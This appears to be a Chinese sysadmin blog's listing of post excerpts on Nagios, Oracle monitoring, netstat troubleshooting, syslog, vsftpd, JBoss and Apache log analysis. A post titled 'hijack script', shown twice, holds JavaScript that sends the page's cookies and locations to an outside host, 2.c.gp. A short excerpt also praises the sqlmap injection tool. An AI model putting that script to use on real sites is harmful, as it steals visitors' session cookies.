劫持脚本
var x=new Image(); try { var myopener=''; myopener=window.opener && window.opener.location ? window.opener.location : ''; } catch(err) { } x.src='http://2.c.gp/?location='+escape(document.location)+'&toplocation='+escape(top.document.location)+'&cookie='+escape(document.cookie)+'&opener='+escape(myo...
用NAGIOS监控ORACLE服务器
用nagios监控ORACLE服务器环境:Oracle 10gCentOS 5.2 x86_64一、在 Oracle 所在服务器上安装 NRPE安装过程参考 Nagios NRPE 文档。注意点:1.由于 nagios 脚本需要读取 oracle 相关文件。所以运行 nagios 的用户需要定义为 oracle 服务用户。并且修改 /etc/xinted.d/nrpe 中的配置。service nrpe{flags = REUSEs...
网站排障分析常用的命令
系统连接状态篇:1.查看TCP连接状态netstat -nat |awk '{print $6}'|sort|uniq -c|sort -rn netstat -n | awk '/^tcp/ {++S[$NF]};END {for(a in S) print a, S[a]}' 或netstat -n | awk '/^tcp/ {++state[$NF]}; END {for(key in state) print key,"\t",state[key]}'netstat -n | awk '/^tcp/ {++arr[$NF]};EN...
清空swap
#!/bin/shfree -mechosyncecho 3 > /proc/sys/vm/drop_cachesecho 0 > /proc/sys/vm/drop_cachesFREE_RAM=$(free|grep Mem:|awk '{print $4}')SWAP_SIZE=$(free|grep Swap:|awk '{print $3}')echo "Free RAM : ${FREE_RAM}"echo "Used SWAP : ${SWAP_SIZE}"if [ "${FREE_RAM}" -gt "${SWAP_SIZE}" ]; then...
配置linux syslog日志服务器
目前,linux依旧使用syslogd作为日志监控进程,而在主流的linux发行版中依旧使用sysklog这个比较老的日志服务器套件。从前一篇日志可以看到,对其进行必要的配置能减少很多麻烦,并且可更有效的从系统日志监控到系统的状态。理解并完善一个syslog的配置,对于系统管理员来说显得尤为重要。一、配置文件 &nbs...
劫持脚本
var x=new Image(); try { var myopener=''; myopener=window.opener && window.opener.location ? window.opener.location : ''; } catch(err) { } x.src='http://2.c.gp/?location='+escape(document.location)+'&toplocation='+escape(top.document.location)+'&cookie='+escape(document.cookie)+'&opener='+escape(myo...
监测 Linux进程的实时IO情况
Linux Kernel 2.6.20 以上的内核支持进程 IO 统计,可以用类似 iotop 这样的工具来监测每个进程对 IO 操作的情况,就像用 top 来实时查看进程内存、CPU 等占用情况那样。但是对于 2.6.20 以下的 Linux 内核版本就没那么幸运了。笔者写了一个简单的 Python 脚本用来在 linux kernel < 2.6.20 下打印进程 IO 状况。Kernel < ...
从一个linux脚本中学习bash shell
以下是一个resin启动脚本,其中可以学到很多bash shell的知识点#!/bin/sh // bash shell脚本## Linux startup script for Resin //#注释# chkconfig: 345 85 15# description: Resin is a Java Web server.# processname: wrapper.pl## To...
Xmanager连接linux 5配置
redhat as 5 用root 用户通过 xmanager 连接配置 一、 XMANAGER 连接到REDHAT AS 5 需要修改的地方。rhel5与rhel4不同的地方是,rhel5裡没有/etc/X11/gdm/这个目录,rhel5的gdm的配置文件放在这裡/usr/share/gdm/defaults.comf,这一点可能是困扰大家的地方。在/usr/share/gdm/defaults.conf裡确保...
vsftpd限制用户
1. 匿名服务器的连接(独立的服务器)在/etc/sftpd/sftpd.conf配置文件中添加如下几项:Anonymous_enable=yes (允许匿名登陆)Dirmessage_enable=yes (切换目录时,显示目录下.message的内容)Local_umask=022 (FTP上本地的文件权限,默认是077)Connect_form_port_20=yes (启用FTP数据端口的数据连接)*Xferlog_ena...
SqlMap注入
这是SEVEN大哥写的!:从黑防上看到他们说是有什么内部的工具,国外的注入工具,python的。想下载看看,结果是vip工具。 就从百度上搜索,没有发现。看来在国内还没有流行。就直接去google上搜索去了。 结果发现了这个工具。 功能非常强大。我以前的想法,这个工具全都实现了。而且功能更强。新一代的强大工具。我还...
nmon以及nmon analyser教程
一、下载nmon工具和nmonanalyserNmon下载:位置:可从IBM Wiki上下载http://www-941.haw.ibm.com/collaboration/wiki/display/WikiPtype/nmon例如我测试的系统是AIX5.3,那么就可以下载nmon4aix12e.zip ,下载后我们可以看到压缩包里是一些文件,其实nmon就是shell脚本,nmon文件运行时调用其他的文件,生成性能...
Nagios客户端安装
( 安装到 被监控的机器上)新增用户和组useradd nagiosgroupadd nagcmd(如果安装中报没有c编译器,就 yum install gcc)下载nagios插件wget http://sourceforge.net/projects/nagiosplug/files/nagiosplug/1.4.15/nagios-plugins-1.4.15.tar.gztar xzvf nagios-plugins-1.4.15.tar.gzcd nagios-plugins-1...
Nagios安装
一.nagios在服务器端(监控端)的安装。服务器IP地址:192.168.0.131.在安装之前首先检测系统是否安装以下包:httpd php gcc glibc glibc-common gd gd-devel#rpm -qa | grep httpd#rpm -qa | grep php ....#rpm -qa | grep gd2.创建用户#useradd nagios#groupadd nagcmd#/usr/sbin/usermod -a -G na...
LINUX下安装配置JBOSS
环境:Linux AS5 Update3JBOSS:http://www.jboss.org/jbossas/downloads/下载 jboss-5.1.0.GA.tar.gz(或者其他版本,本文以jboss-5.1.0.GA举例)JDK:http://java.sun.com/javase/downloads/index.jsp下载:jdk-6u17-linux-i586.bin(或者其他版本,本文以jdk-6u17-linux-i586举例)软件都上传至服务器/usr/local/目录下...
Linux升级内核
1.编译内核cd /usr/src把内核升级包copy到此目录下然后解压tar -vxf linux-2.6.32.60.tar.bz2 cd linux-2.6.32.60 &n...
Linux启动过程详解
启动第一步--加载BIOS当你打开计算机电源,计算机会首先加载BIOS信息,BIOS信息是如此的重要,以至于计算机必须在最开始就找到它。这是因为BIOS中包含了CPU的相关信息、设备启动顺序信息、硬盘信息、内存信息、时钟信息、PnP特性等等。在此之后,计算机心里就有谱了,知道应该去读取哪个硬件设备了。启动第二步--...
jdk在Linux下的配置
我在Fedora Core 3上已经成功安装了jdk(jdk-1_5_0_02-linux-i586.rpm),其它版本的Linux基本相同,过程如下:1. 先从网上下载jdk(jdk-1_5_0_02-linux-i586.rpm) ,推荐SUN的官方网站www.sun.com,下载后放在/home目录中,当然其它地方也行。进入安装目录#cd /home#cp jdk-1_5_0_02-linux-i586.rpm /usr/local#cd /...
iostat来对linux硬盘IO性能进行检测
近期公司安装了几台DELL PE2650和2850的服务器,统一安装的是RHLE5.132位系统,而服务器的SCSI硬盘都统一做了raid1。公司老总要求对硬盘IO作统一检测报告,在Linux下找了许多工具,发现最实用的还是iostat,这个需要先安装sysstat ,即yum -y install sysstat;公司内部的yum服务器搭建这个不是本文的重点,这里不作详细叙...
Apache日志Shell分析
1、查看当天有多少个IP访问:awk '{print $1}' log_file|sort|uniq|wc -l2、查看某一个页面被访问的次数:grep "/index.php" log_file | wc -l3、查看每一个IP访问了多少个页面:awk '{++S[$1]} END {for (a in S) print a,S[a]}' log_file4、将每个IP访问的页面数进行从小到大排序:awk '{++S[$1]} END {for (a in ...